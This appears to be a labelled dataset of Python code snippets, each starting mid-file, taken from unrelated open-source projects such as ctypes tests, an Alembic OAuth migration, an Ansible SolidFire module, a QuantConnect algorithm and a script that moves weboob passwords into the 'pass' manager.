self.assertEqual((cls, msg), (TypeError, ""abstract class"")) def test_methods(self): ## class X(Structure): ## _fields_ = [] self.assertTrue(""in_dll"" in dir(type(Structure))) self.assertTrue(""from_address"" in dir(type(Structure))) self.assertTrue(""in_dll"" in dir(type(Structure))) def test_positional_args(self): # see also http://bugs.python.org/issue5042 class W(Structure): _fields_ = [(""a"", c_int), (""b"", c_int)] class X(W): _fields_ = [(""c"", c_int)] class Y(X): pass class Z(Y): _fields_ = [(""d"", c_int), (""e"", c_int), (""f"", c_int)] z = Z(1, 2, 3, 4, 5, 6) self.assertEqual((z.a, z.b, z.c, z.d, z.e, z.f), (1, 2, 3, 4, 5, 6)) z = Z(1) self.assertEqual((z.a, z.b, z.c, z.d, z.e, z.f), (1, 0, 0, 0, 0, 0)) self.assertRaises(TypeError, lambda: Z(1, 2, 3, 4, 5, 6, 7)) class PointerMemberTestCase(unittest.TestCase): def test(self): # a Structure with a POINTER field class S(Structure): _fields_ = [(""array"", POINTER(c_int))] s = S() # We can assign arrays of the correct type s.array = (c_int * 3)(1, 2, 3) items = [s.array[i] for i in range(3)] self.assertEqual(items, [1, 2, 3]) # The following are bugs, but are included here because the unittests # also describe the current behaviour. # # This fails with SystemError: bad arg to internal function # or with IndexError (with a patch I have) s.array[0] = 42 items = [s.array[i] for i in range(3)] self.assertEqual(items, [42, 2, 3]) s.array[0] = 1 ## s.array[1] = 42 items = [s.array[i] for i in range(3)] self.assertEqual(items, [1, 2, 3]) def test_none_to_pointer_fields(self): class S(Structure): _fields_ = [(""x"", c_int), (""p"", POINTER(c_int))] s = S() s.x = 12345678 s.p = None self.assertEqual(s.x, 12345678) class TestRecursiveStructure(unittest.TestCase): def test_contains_itself(self): class Recursive(Structure): pass try: Recursive._fields_ = [(""next"", Recursive)] except AttributeError as details: self.assertTrue(""Structure or union cannot contain itself"" in str(details)) else: self.fail(""Structure or union cannot contain itself"") def test_vice_versa(self): class First(Structure): pass class Second(Structure): pass First._fields_ = [(""second"", Second)] try: Second._fields_ = [(""first"", First)] except AttributeError as details: self.assertTrue(""_fields_ is final"" in str(details)) else: self.fail(""AttributeError not raised"") if __name__ == '__main__': unittest.main() ",1 " modify it # under the terms of the MIT License; see LICENSE file for more details. """"""Create oauthclient tables."""""" import sqlalchemy as sa import sqlalchemy_utils from alembic import op from sqlalchemy.engine.reflection import Inspector # revision identifiers, used by Alembic. revision = '97bbc733896c' down_revision = '44ab9963e8cf' branch_labels = () depends_on = '9848d0149abd' def upgrade(): """"""Upgrade database."""""" op.create_table( 'oauthclient_remoteaccount', sa.Column('id', sa.Integer(), nullable=False), sa.Column('user_id', sa.Integer(), nullable=False), sa.Column('client_id', sa.String(length=255), nullable=False), sa.Column( 'extra_data', sqlalchemy_utils.JSONType(), nullable=False), sa.ForeignKeyConstraint(['user_id'], [u'accounts_user.id'], ), sa.PrimaryKeyConstraint('id'), sa.UniqueConstraint('user_id', 'client_id') ) op.create_table( 'oauthclient_useridentity', sa.Column('id', sa.String(length=255), nullable=False), sa.Column('method', sa.String(length=255), nullable=False), sa.Column('id_user', sa.Integer(), nullable=False), sa.ForeignKeyConstraint(['id_user'], [u'accounts_user.id'], ), sa.PrimaryKeyConstraint('id', 'method') ) op.create_index( 'useridentity_id_user_method', 'oauthclient_useridentity', ['id_user', 'method'], unique=True ) op.create_table( 'oauthclient_remotetoken', sa.Column('id_remote_account', sa.Integer(), nullable=False), sa.Column('token_type', sa.String(length=40), nullable=False), sa.Column( 'access_token', sqlalchemy_utils.EncryptedType(), nullable=False), sa.Column('secret', sa.Text(), nullable=False), sa.ForeignKeyConstraint( ['id_remote_account'], [u'oauthclient_remoteaccount.id'], name='fk_oauthclient_remote_token_remote_account' ), sa.PrimaryKeyConstraint('id_remote_account', 'token_type') ) def downgrade(): """"""Downgrade database."""""" ctx = op.get_context() insp = Inspector.from_engine(ctx.connection.engine) op.drop_table('oauthclient_remotetoken') for fk in insp.get_foreign_keys('oauthclient_useridentity'): if fk['referred_table'] == 'accounts_user': op.drop_constraint( op.f(fk['name']), 'oauthclient_useridentity', type_='foreignkey' ) op.drop_index( 'useridentity_id_user_method', table_name='oauthclient_useridentity') op.drop_table('oauthclient_useridentity') op.drop_table('oauthclient_remoteaccount') ",1 "opaque_keys.edx.keys import CourseKey def get_mutually_exclusive_required_option(options, *selections): """""" Validates that exactly one of the 2 given options is specified. Returns the name of the found option. """""" selected = [sel for sel in selections if options.get(sel)] if len(selected) != 1: selection_string = ', '.join(f'--{selection}' for selection in selections) raise CommandError(f'Must specify exactly one of {selection_string}') return selected[0] def validate_mutually_exclusive_option(options, option_1, option_2): """""" Validates that both of the 2 given options are not specified. """""" if options.get(option_1) and options.get(option_2): raise CommandError(f'Both --{option_1} and --{option_2} cannot be specified.') def validate_dependent_option(options, dependent_option, depending_on_option): """""" Validates that option_1 is specified if dependent_option is specified. """""" if options.get(dependent_option) and not options.get(depending_on_option): raise CommandError(f'Option --{dependent_option} requires option --{depending_on_option}.') def parse_course_keys(course_key_strings): """""" Parses and returns a list of CourseKey objects from the given list of course key strings. """""" try: return [CourseKey.from_string(course_key_string) for course_key_string in course_key_strings] except InvalidKeyError as error: raise CommandError('Invalid key specified: {}'.format(str(error))) # lint-amnesty, pylint: disable=raise-missing-from ",1 " ConfigNothing, NoSave from enigma import eAVSwitch, getDesktop from SystemInfo import SystemInfo from os import path as os_path class AVSwitch: def setInput(self, input): INPUT = { ""ENCODER"": 0, ""SCART"": 1, ""AUX"": 2 } eAVSwitch.getInstance().setInput(INPUT[input]) def setColorFormat(self, value): eAVSwitch.getInstance().setColorFormat(value) def setAspectRatio(self, value): eAVSwitch.getInstance().setAspectRatio(value) def setSystem(self, value): eAVSwitch.getInstance().setVideomode(value) def getOutputAspect(self): valstr = config.av.aspectratio.value if valstr in (""4_3_letterbox"", ""4_3_panscan""): # 4:3 return (4,3) elif valstr == ""16_9"": # auto ... 4:3 or 16:9 try: aspect_str = open(""/proc/stb/vmpeg/0/aspect"", ""r"").read() if aspect_str == ""1"": # 4:3 return (4,3) except IOError: pass elif valstr in (""16_9_always"", ""16_9_letterbox""): # 16:9 pass elif valstr in (""16_10_letterbox"", ""16_10_panscan""): # 16:10 return (16,10) return (16,9) def getFramebufferScale(self): aspect = self.getOutputAspect() fb_size = getDesktop(0).size() return (aspect[0] * fb_size.height(), aspect[1] * fb_size.width()) def getAspectRatioSetting(self): valstr = config.av.aspectratio.value if valstr == ""4_3_letterbox"": val = 0 elif valstr == ""4_3_panscan"": val = 1 elif valstr == ""16_9"": val = 2 elif valstr == ""16_9_always"": val = 3 elif valstr == ""16_10_letterbox"": val = 4 elif valstr == ""16_10_panscan"": val = 5 elif valstr == ""16_9_letterbox"": val = 6 return val def setAspectWSS(self, aspect=None): if not config.av.wss.value: value = 2 # auto(4:3_off) else: value = 1 # auto eAVSwitch.getInstance().setWSS(value) def InitAVSwitch(): config.av = ConfigSubsection() config.av.yuvenabled = ConfigBoolean(default=False) colorformat_choices = {""cvbs"": _(""CVBS""), ""rgb"": _(""RGB""), ""svideo"": _(""S-Video"")} # when YUV is not enabled, don't let the user select it if config.av.yuvenabled.value: colorformat_choices[""yuv""] = _(""YPbPr"") # ikseong config.av.colorformat = ConfigSelection(choices=colorformat_choices, default=""cvbs"") config.av.aspectratio = ConfigSelection(choices={ ""4_3_letterbox"": _(""4:3 Letterbox""), ""4_3_panscan"": _(""4:3 PanScan""), ""16_9"": _(""16:9""), ""16_9_always"": _(""16:9 always""), ""16_10_letterbox"": _(""16:10 Letterbox""), ""16_10_panscan"": _(""16:10 PanScan""), ""16_9_letterbox"": _(""16:9 Letterbox"")}, default = ""4_3_letterbox"") config.av.aspect = ConfigSelection(choices={ ""4_3"": _(""4:3""), ""16_9"": _(""16:9""), ""16_10"": _(""16:10""), ""auto"": _(""Automatic"")}, default = ""auto"") config.av.policy_169 = ConfigSelection(choices={ # TRANSLATORS: (aspect ratio policy: black bars on top/bottom) in doubt, keep english term. ""letterbox"": _(""Letterbox""), # TRANSLATORS: (aspect ratio policy: cropped content on left/right) in doubt, keep english term ""panscan"": _(""Pan&Scan""), # TRANSLATORS: (aspect ratio policy: display as fullscreen, even if this breaks the aspect) ""scale"": _(""Just Scale"")}, default = ""letterbox"") config.av.policy_43 = ConfigSelection(choices={ # TRANSLATORS: (aspect ratio policy: black bars on left/right) in doubt, keep english term. ""pillarbox"": _(""Pillarbox""), # TRANSLATORS: (aspect ratio policy: cropped content on left/right) in doubt, keep english term ""panscan"": _(""Pan&Scan""), # TRANSLATORS: (aspect ratio policy: display as fullscreen, with stretching the left/right) ""nonlinear"": _(""Nonlinear""), # TRANSLATORS: (aspect ratio policy: display as fullscreen, even if this breaks the aspect) ""scale"": _(""Just Scale"")}, default = ""pillarbox"") config.av.tvsystem = ConfigSelection(choices = {""pal"": _(""PAL""), ""ntsc"": _(""NTSC""), ""multinorm"": _(""multinorm"")}, default=""pal"") config.av.wss = ConfigEnableDisable(default = True) config.av.defaultac3 = ConfigYesNo(default = False) config.av.generalAC3delay = ConfigSelectionNumber(-1000, 1000, 25, default = 0) config.av.generalPCMdelay = ConfigSelectionNumber(-1000, 1000, 25, default = 0) config.av.vcrswitch = ConfigEnableDisable(default = False) iAVSwitch = AVSwitch() def setColorFormat(configElement): map = {""cvbs"": 0, ""rgb"": 1, ""svideo"": 2, ""yuv"": 3} iAVSwitch.setColorFormat(map[configElement.value]) def setAspectRatio(configElement): map = {""4_3_letterbox"": 0, ""4_3_panscan"": 1, ""16_9"": 2, ""16_9_always"": 3, ""16_10_letterbox"": 4, ""16_10_panscan"": 5, ""16_9_letterbox"" : 6} iAVSwitch.setAspectRatio(map[configElement.value]) def setSystem(configElement): map = {""pal"": 0, ""ntsc"": 1, ""multinorm"" : 2} iAVSwitch.setSystem(map[configElement.value]) def setWSS(configElement): iAVSwitch.setAspectWSS() # this will call the ""setup-val"" initial config.av.colorformat.addNotifier(setColorFormat) config.av.aspectratio.addNotifier(setAspectRatio) config.av.tvsystem.addNotifier(setSystem) config.av.wss.addNotifier(setWSS) iAVSwitch.setInput(""ENCODER"") # init on startup SystemInfo[""ScartSwitch""] = eAVSwitch.getInstance().haveScartSwitch() try: can_downmix = open(""/proc/stb/audio/ac3_choices"", ""r"").read()[:-1].find(""downmix"") != -1 except: can_downmix = False SystemInfo[""CanDownmixAC3""] = can_downmix if can_downmix: def setAC3Downmix(configElement): open(""/proc/stb/audio/ac3"", ""w"").write(configElement.value and ""downmix"" or ""passthrough"") config.av.downmix_ac3 = ConfigYesNo(default = True) config.av.downmix_ac3.addNotifier(setAC3Downmix) try: can_downmix_aac = open(""/proc/stb/audio/aac_choices"", ""r"").read()[:-1].find(""downmix"") != -1 except: can_downmix_aac = False SystemInfo[""CanDownmixAAC""] = can_downmix_aac if can_downmix_aac: def setAACDownmix(configElement): open(""/proc/stb/audio/aac"", ""w"").write(configElement.value and ""downmix"" or ""passthrough"") config.av.downmix_aac = ConfigYesNo(default = True) config.av.downmix_aac.addNotifier(setAACDownmix) try: can_osd_alpha = open(""/proc/stb/video/alpha"", ""r"") and True or False except: can_osd_alpha = False SystemInfo[""CanChangeOsdAlpha""] = can_osd_alpha def setAlpha(config): open(""/proc/stb/video/alpha"", ""w"").write(str(config.value)) if can_osd_alpha: config.av.osd_alpha = ConfigSlider(default=255, limits=(0,255)) config.av.osd_alpha.addNotifier(setAlpha) if os_path.exists(""/proc/stb/vmpeg/0/pep_scaler_sharpness""): def setScaler_sharpness(config): myval = int(config.value) try: print ""--> setting scaler_sharpness to: %0.8X"" % myval open(""/proc/stb/vmpeg/0/pep_scaler_sharpness"", ""w"").write(""%0.8X"" % myval) open(""/proc/stb/vmpeg/0/pep_apply"", ""w"").write(""1"") except IOError: print ""couldn't write pep_scaler_sharpness"" config.av.scaler_sharpness = ConfigSlider(default=13, limits=(0,26)) config.av.scaler_sharpness.addNotifier(setScaler_sharpness) else: config.av.scaler_sharpness = NoSave(ConfigNothing()) ",1 " self.cg = CharacterGeneratorMock(width = 9, height = 14) self.mda = MonochromeDisplayAdapter(self.cg) # Hijack reset so it doesn't call into Pygame during the tests. self.reset_count = 0 self.mda.reset = self.reset_testable def reset_testable(self): self.reset_count += 1 def test_ports_list(self): self.assertEqual(self.mda.get_ports_list(), [0x03B0, 0x03B1, 0x03B2, 0x03B3, 0x03B4, 0x03B5, 0x03B6, 0x03B7, 0x03B8, 0x03B9, 0x03BA, 0x03BB]) def test_get_memory_size(self): self.assertEqual(self.mda.get_memory_size(), 4096) def test_initial_state(self): self.assertEqual(self.mda.control_reg, 0x00) self.assertEqual(self.mda.control_reg, 0x00) self.assertEqual(self.mda.screen, None) self.assertEqual(self.mda.char_generator, self.cg) self.assertEqual(len(self.mda.video_ram), 4096) def test_mem_write_byte_updates_video_ram(self): self.mda.mem_write_byte(0x0000, 0x41) self.assertEqual(self.mda.video_ram[0x0000], 0x41) def test_mem_write_byte_calls_char_generator_top_left(self): self.mda.mem_write_byte(0x0000, 0x41) self.assertEqual(self.cg.last_blit, (None, (0, 0), 0x41, MDA_GREEN, MDA_BLACK)) def test_mem_write_byte_calls_char_generator_bottom_right(self): self.mda.mem_write_byte(3998, 0xFF) self.assertEqual(self.cg.last_blit, (None, (711, 336), 0xFF, MDA_GREEN, MDA_BLACK)) def test_mem_write_byte_char_before_attribute(self): self.mda.mem_write_byte(3998, 0xFF) self.assertEqual(self.cg.last_blit, (None, (711, 336), 0xFF, MDA_GREEN, MDA_BLACK)) self.mda.mem_write_byte(3999, MDA_ATTR_INTENSITY) self.assertEqual(self.cg.last_blit, (None, (711, 336), 0xFF, MDA_BRIGHT_GREEN, MDA_BLACK)) def test_mem_write_byte_attribute_before_char(self): self.mda.mem_write_byte(3999, MDA_ATTR_INTENSITY) self.assertEqual(self.cg.last_blit, (None, (711, 336), 0x00, MDA_BRIGHT_GREEN, MDA_BLACK)) self.mda.mem_write_byte(3998, 0xFF) self.assertEqual(self.cg.last_blit, (None, (711, 336), 0xFF, MDA_BRIGHT_GREEN, MDA_BLACK)) def test_mem_write_byte_write_off_screen(self): self.mda.mem_write_byte(4000, 0xFF) self.assertEqual(self.cg.last_blit, None) def test_mem_read_byte(self): self.mda.video_ram[77] = 0xA5 self.assertEqual(self.mda.mem_read_byte(77), 0xA5) def test_mem_read_byte_off_screen(self): self.assertEqual(self.mda.mem_read_byte(4000), 0x00) @unittest.skip(""We need to initialize Pygame exactly once at startup."") def test_reset_on_high_resolution_enable(self): self.assertEqual(self.reset_count, 0) self.mda.io_write_byte(0x3B8, 0x01) self.assertEqual(self.reset_count, 1) # Second write shouldn't call reset again. self.mda.io_write_byte(0x3B8, 0x01) self.assertEqual(self.reset_count, 1) def test_mem_write_word_at_top_left(self): self.mda.mem_write_word(0x0000, 0x0841) # 'A' with intensity. self.assertEqual(self.mda.video_ram[0x0000], 0x41) self.assertEqual(self.mda.video_ram[0x0001], 0x08) self.assertEqual(self.cg.last_blit, (None, (0, 0), 0x41, MDA_BRIGHT_GREEN, MDA_BLACK)) def test_mem_write_word_at_bottom_right(self): self.mda.mem_write_word(3998, 0x085A) # 'Z' with intensity. self.assertEqual(self.mda.video_ram[3998], 0x5A) self.assertEqual(self.mda.video_ram[3999], 0x08) self.assertEqual(self.cg.last_blit, (None, (711, 336), 0x5A, MDA_BRIGHT_GREEN, MDA_BLACK)) def test_mem_write_word_at_bottom_right_just_past(self): self.mda.mem_write_word(3999, 0xFF08) # 'Z' with intensity. self.assertEqual(self.mda.video_ram[3998], 0x00) # Should be unmodified. self.assertEqual(self.mda.video_ram[3999], 0x08) self.assertEqual(self.cg.last_blit, (None, (711, 336), 0x00, MDA_BRIGHT_GREEN, MDA_BLACK)) def test_mem_read_word(self): self.mda.video_ram[0x0000] = 0x41 self.mda.video_ram[0x0001] = 0x08 self.assertEqual(self.mda.mem_read_word(0x0000), 0x0841) def test_mem_read_word_just_past_the_end(self): self.mda.video_ram[3998] = 0x12 self.mda.video_ram[3999] = 0x34 self.assertEqual(self.mda.mem_read_word(3999), 0x0034) def test_horizontal_retrace_toggles(self): self.assertEqual(self.mda.io_read_byte(0x3BA), 0xF0) self.assertEqual(self.mda.io_read_byte(0x3BA), 0xF1) self.assertEqual(self.mda.io_read_byte(0x3BA), 0xF0) def test_current_pixel_updates_on_status_read(self): self.assertEqual(self.mda.current_pixel, [0, 0]) self.mda.io_read_byte(0x3BA) self.assertEqual(self.mda.current_pixel, [1, 0]) def test_current_pixel_wraps_right(self): self.mda.current_pixel = [719, 0] self.mda.io_read_byte(0x3BA) self.assertEqual(self.mda.current_pixel, [0, 1]) def test_current_pixel_wraps_bottom(self): self.mda.current_pixel = [719, 349] self.mda.io_read_byte(0x3BA) self.assertEqual(self.mda.current_pixel, [0, 0]) ",1 "portError: try: import pydot from networkx.drawing.nx_pydot import graphviz_layout except ImportError: raise ImportError(""This example needs Graphviz and either "" ""PyGraphviz or pydot"") G = nx.balanced_tree(3, 5) pos = graphviz_layout(G, prog='twopi', args='') plt.figure(figsize=(8, 8)) nx.draw(G, pos, node_size=20, alpha=0.5, node_color=""blue"", with_labels=False) plt.axis('equal') plt.savefig('circular_tree.png') plt.show() ",1 "__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = ''' module: sf_account_manager short_description: Manage SolidFire accounts extends_documentation_fragment: - netapp.solidfire version_added: '2.3' author: Sumit Kumar (sumit4@netapp.com) description: - Create, destroy, or update accounts on SolidFire options: state: description: - Whether the specified account should exist or not. required: true choices: ['present', 'absent'] name: description: - Unique username for this account. (May be 1 to 64 characters in length). required: true new_name: description: - New name for the user account. required: false default: None initiator_secret: description: - CHAP secret to use for the initiator. Should be 12-16 characters long and impenetrable. - The CHAP initiator secrets must be unique and cannot be the same as the target CHAP secret. - If not specified, a random secret is created. required: false target_secret: description: - CHAP secret to use for the target (mutual CHAP authentication). - Should be 12-16 characters long and impenetrable. - The CHAP target secrets must be unique and cannot be the same as the initiator CHAP secret. - If not specified, a random secret is created. required: false attributes: description: List of Name/Value pairs in JSON object format. required: false account_id: description: - The ID of the account to manage or update. required: false default: None status: description: - Status of the account. required: false ''' EXAMPLES = """""" - name: Create Account sf_account_manager: hostname: ""{{ solidfire_hostname }}"" username: ""{{ solidfire_username }}"" password: ""{{ solidfire_password }}"" state: present name: TenantA - name: Modify Account sf_account_manager: hostname: ""{{ solidfire_hostname }}"" username: ""{{ solidfire_username }}"" password: ""{{ solidfire_password }}"" state: present name: TenantA new_name: TenantA-Renamed - name: Delete Account sf_account_manager: hostname: ""{{ solidfire_hostname }}"" username: ""{{ solidfire_username }}"" password: ""{{ solidfire_password }}"" state: absent name: TenantA-Renamed """""" RETURN = """""" """""" import traceback from ansible.module_utils.basic import AnsibleModule from ansible.module_utils._text import to_native import ansible.module_utils.netapp as netapp_utils HAS_SF_SDK = netapp_utils.has_sf_sdk() class SolidFireAccount(object): def __init__(self): self.argument_spec = netapp_utils.ontap_sf_host_argument_spec() self.argument_spec.update(dict( state=dict(required=True, choices=['present', 'absent']), name=dict(required=True, type='str'), account_id=dict(required=False, type='int', default=None), new_name=dict(required=False, type='str', default=None), initiator_secret=dict(required=False, type='str'), target_secret=dict(required=False, type='str'), attributes=dict(required=False, type='dict'), status=dict(required=False, type='str'), )) self.module = AnsibleModule( argument_spec=self.argument_spec, supports_check_mode=True ) p = self.module.params # set up state variables self.state = p['state'] self.name = p['name'] self.account_id = p['account_id'] self.new_name = p['new_name'] self.initiator_secret = p['initiator_secret'] self.target_secret = p['target_secret'] self.attributes = p['attributes'] self.status = p['status'] if HAS_SF_SDK is False: self.module.fail_json(msg=""Unable to import the SolidFire Python SDK"") else: self.sfe = netapp_utils.create_sf_connection(module=self.module) def get_account(self): """""" Return account object if found :return: Details about the account. None if not found. :rtype: dict """""" account_list = self.sfe.list_accounts() for account in account_list.accounts: if account.username == self.name: # Update self.account_id: if self.account_id is not None: if account.account_id == self.account_id: return account else: self.account_id = account.account_id return account return None def create_account(self): try: self.sfe.add_account(username=self.name, initiator_secret=self.initiator_secret, target_secret=self.target_secret, attributes=self.attributes) except Exception as e: self.module.fail_json(msg='Error creating account %s: %s)' % (self.name, to_native(e)), exception=traceback.format_exc()) def delete_account(self): try: self.sfe.remove_account(account_id=self.account_id) except Exception as e: self.module.fail_json(msg='Error deleting account %s: %s' % (self.account_id, to_native(e)), exception=traceback.format_exc()) def update_account(self): try: self.sfe.modify_account(account_id=self.account_id, username=self.new_name, status=self.status, initiator_secret=self.initiator_secret, target_secret=self.target_secret, attributes=self.attributes) except Exception as e: self.module.fail_json(msg='Error updating account %s: %s' % (self.account_id, to_native(e)), exception=traceback.format_exc()) def apply(self): changed = False account_exists = False update_account = False account_detail = self.get_account() if account_detail: account_exists = True if self.state == 'absent': changed = True elif self.state == 'present': # Check if we need to update the account if account_detail.username is not None and self.new_name is not None and \ account_detail.username != self.new_name: update_account = True changed = True elif account_detail.status is not None and self.status is not None \ and account_detail.status != self.status: update_account = True changed = True elif account_detail.initiator_secret is not None and self.initiator_secret is not None \ and account_detail.initiator_secret != self.initiator_secret: update_account = True changed = True elif account_detail.target_secret is not None and self.target_secret is not None \ and account_detail.target_secret != self.target_secret: update_account = True changed = True elif account_detail.attributes is not None and self.attributes is not None \ and account_detail.attributes != self.attributes: update_account = True changed = True else: if self.state == 'present': changed = True if changed: if self.module.check_mode: pass else: if self.state == 'present': if not account_exists: self.create_account() elif update_account: self.update_account() elif self.state == 'absent': self.delete_account() self.module.exit_json(changed=changed) def main(): v = SolidFireAccount() v.apply() if __name__ == '__main__': main() ",1 "# # Licensed under the Apache License, Version 2.0 (the ""License""); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from clr import AddReference AddReference(""System"") AddReference(""QuantConnect.Algorithm"") AddReference(""QuantConnect.Common"") AddReference(""QuantConnect.Indicators"") from System import * from QuantConnect import * from QuantConnect.Indicators import * from QuantConnect.Data import * from QuantConnect.Data.Market import * from QuantConnect.Data.Custom import * from QuantConnect.Algorithm import * from QuantConnect.Python import PythonQuandl ### ### The algorithm creates new indicator value with the existing indicator method by Indicator Extensions ### Demonstration of using the external custom datasource Quandl to request the VIX and VXV daily data ### ### ### ### ### ### ### ### class CustomDataIndicatorExtensionsAlgorithm(QCAlgorithm): # Initialize the data and resolution you require for your strategy def Initialize(self): self.SetStartDate(2014,1,1) self.SetEndDate(2018,1,1) self.SetCash(25000) self.vix = 'CBOE/VIX' self.vxv = 'CBOE/VXV' # Define the symbol and ""type"" of our generic data self.AddData(QuandlVix, self.vix, Resolution.Daily) self.AddData(Quandl, self.vxv, Resolution.Daily) # Set up default Indicators, these are just 'identities' of the closing price self.vix_sma = self.SMA(self.vix, 1, Resolution.Daily) self.vxv_sma = self.SMA(self.vxv, 1, Resolution.Daily) # This will create a new indicator whose value is smaVXV / smaVIX self.ratio = IndicatorExtensions.Over(self.vxv_sma, self.vix_sma) # Plot indicators each time they update using the PlotIndicator function self.PlotIndicator(""Ratio"", self.ratio) self.PlotIndicator(""Data"", self.vix_sma, self.vxv_sma) # OnData event is the primary entry point for your algorithm. Each new data point will be pumped in here. def OnData(self, data): # Wait for all indicators to fully initialize if not (self.vix_sma.IsReady and self.vxv_sma.IsReady and self.ratio.IsReady): return if not self.Portfolio.Invested and self.ratio.Current.Value > 1: self.MarketOrder(self.vix, 100) elif self.ratio.Current.Value < 1: self.Liquidate() # In CBOE/VIX data, there is a ""vix close"" column instead of ""close"" which is the # default column namein LEAN Quandl custom data implementation. # This class assigns new column name to match the the external datasource setting. class QuandlVix(PythonQuandl): def __init__(self): self.ValueColumnName = ""VIX Close""",1 "sys.version_info[0] > 2: import tkinter else: import Tkinter as tkinter from PIL import Image, ImageTk # -------------------------------------------------------------------- # an image animation player class UI(tkinter.Label): def __init__(self, master, im): if isinstance(im, list): # list of images self.im = im[1:] im = self.im[0] else: # sequence self.im = im if im.mode == ""1"": self.image = ImageTk.BitmapImage(im, foreground=""white"") else: self.image = ImageTk.PhotoImage(im) tkinter.Label.__init__(self, master, image=self.image, bg=""black"", bd=0) self.update() duration = im.info.get(""duration"", 100) self.after(duration, self.next) def next(self): if isinstance(self.im, list): try: im = self.im[0] del self.im[0] self.image.paste(im) except IndexError: return # end of list else: try: im = self.im im.seek(im.tell() + 1) self.image.paste(im) except EOFError: return # end of file duration = im.info.get(""duration"", 100) self.after(duration, self.next) self.update_idletasks() # -------------------------------------------------------------------- # script interface if __name__ == ""__main__"": if not sys.argv[1:]: print(""Syntax: python player.py imagefile(s)"") sys.exit(1) filename = sys.argv[1] root = tkinter.Tk() root.title(filename) if len(sys.argv) > 2: # list of images print(""loading..."") im = [] for filename in sys.argv[1:]: im.append(Image.open(filename)) else: # sequence im = Image.open(filename) UI(root, im).pack() root.mainloop() ",1 "6 password = 78910 with: [bnporc21] _module = bnporc website = pp login = 123456 password = `pass show weboob/bnporc21` """""" from __future__ import print_function import os import re import shutil import subprocess import sys import tempfile FILE = os.getenv('WEBOOB_BACKENDS') or os.path.expanduser('~/.config/weboob/backends') if not os.path.exists(FILE): print('the backends file does not exist') sys.exit(os.EX_NOINPUT) if not shutil.which('pass'): print('the ""pass"" tool could not be found') sys.exit(os.EX_UNAVAILABLE) errors = 0 seen = set() backend = None with open(FILE) as inp: with tempfile.NamedTemporaryFile('w', delete=False, dir=os.path.dirname(FILE)) as outp: for line in inp: line = line.strip() mtc = re.match(r'password\s*=\s*(\S.*)$', line) if mtc and not mtc.group(1).startswith('`'): cmd = ['pass', 'insert', 'weboob/%s' % backend] stdin = 2 * ('%s\n' % mtc.group(1)) proc = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE) proc.communicate(stdin.encode('utf-8')) if proc.returncode == 0: print('password = `pass show weboob/%s`' % backend, file=outp) continue else: errors += 1 print('warning: could not store password for backend %r' % backend) mtc = re.match(r'\[(.+)\]', line) if mtc: backend = mtc.group(1) if backend in seen: print('error: backend %r is present multiple times' % backend) sys.exit(os.EX_DATAERR) seen.add(backend) print(line, file=outp) os.rename(outp.name, FILE) if errors: print('%d errors were encountered when storing passwords securely' % errors) sys.exit(2) ",1 "t Image from cfme.containers.provider import ContainersProvider from cfme.containers.provider import ContainersTestItem from cfme.utils.appliance.implementations.ui import navigate_to from cfme.utils.wait import wait_for pytestmark = [ pytest.mark.meta(server_roles='+smartproxy'), pytest.mark.usefixtures('setup_provider'), pytest.mark.tier(1), pytest.mark.provider([ContainersProvider], scope='function'), test_requirements.containers ] AttributeToVerify = namedtuple('AttributeToVerify', ['table', 'attr', 'verifier']) TESTED_ATTRIBUTES__openscap_off = ( AttributeToVerify('configuration', 'OpenSCAP Results', bool), AttributeToVerify('configuration', 'OpenSCAP HTML', lambda val: val == 'Available'), AttributeToVerify('configuration', 'Last scan', dateparser.parse) ) TESTED_ATTRIBUTES__openscap_on = TESTED_ATTRIBUTES__openscap_off + ( AttributeToVerify('compliance', 'Status', lambda val: val.lower() != 'never verified'), AttributeToVerify('compliance', 'History', lambda val: val == 'Available') ) TEST_ITEMS = ( ContainersTestItem(Image, 'openscap_off', is_openscap=False, tested_attr=TESTED_ATTRIBUTES__openscap_off), ContainersTestItem(Image, 'openscap_on', is_openscap=True, tested_attr=TESTED_ATTRIBUTES__openscap_on) ) NUM_SELECTED_IMAGES = 1 @pytest.fixture(scope='function') def delete_all_container_tasks(appliance): col = appliance.collections.tasks.filter({'tab': 'AllTasks'}) col.delete_all() @pytest.fixture(scope='function') def random_image_instance(appliance): collection = appliance.collections.container_images # add filter for select only active(not archived) images from redHat registry filter_image_collection = collection.filter({'active': True, 'redhat_registry': True}) return random.sample(filter_image_collection.all(), NUM_SELECTED_IMAGES).pop() @pytest.mark.polarion('10030') def test_manage_policies_navigation(random_image_instance): """""" Polarion: assignee: juwatts caseimportance: high casecomponent: Containers initialEstimate: 1/6h """""" random_image_instance.assign_policy_profiles('OpenSCAP profile') @pytest.mark.polarion('10031') def test_check_compliance(random_image_instance): """""" Polarion: assignee: juwatts caseimportance: high casecomponent: Containers initialEstimate: 1/6h """""" random_image_instance.assign_policy_profiles('OpenSCAP profile') random_image_instance.check_compliance() def get_table_attr(instance, table_name, attr): # Trying to read the table attribute view = navigate_to(instance, 'Details', force=True) table = getattr(view.entities, table_name, None) if table: return table.read().get(attr) @pytest.mark.parametrize(('test_item'), TEST_ITEMS) def test_containers_smartstate_analysis(provider, test_item, soft_assert, delete_all_container_tasks, random_image_instance): """""" Polarion: assignee: juwatts caseimportance: high casecomponent: Containers initialEstimate: 1/6h """""" if test_item.is_openscap: random_image_instance.assign_policy_profiles('OpenSCAP profile') else: random_image_instance.unassign_policy_profiles('OpenSCAP profile') random_image_instance.perform_smartstate_analysis(wait_for_finish=True) view = navigate_to(random_image_instance, 'Details') for tbl, attr, verifier in test_item.tested_attr: table = getattr(view.entities, tbl) table_data = {k.lower(): v for k, v in table.read().items()} if not soft_assert(attr.lower() in table_data, f'{tbl} table has missing attribute \'{attr}\''): continue provider.refresh_provider_relationships() wait_for_retval = wait_for(lambda: get_table_attr(random_image_instance, tbl, attr), message='Trying to get attribute ""{}"" of table ""{}""'.format( attr, tbl), delay=5, num_sec=120, silent_failure=True) if not wait_for_retval: soft_assert(False, 'Could not get attribute ""{}"" for ""{}"" table.' .format(attr, tbl)) continue value = wait_for_retval.out soft_assert(verifier(value), f'{tbl}.{attr} 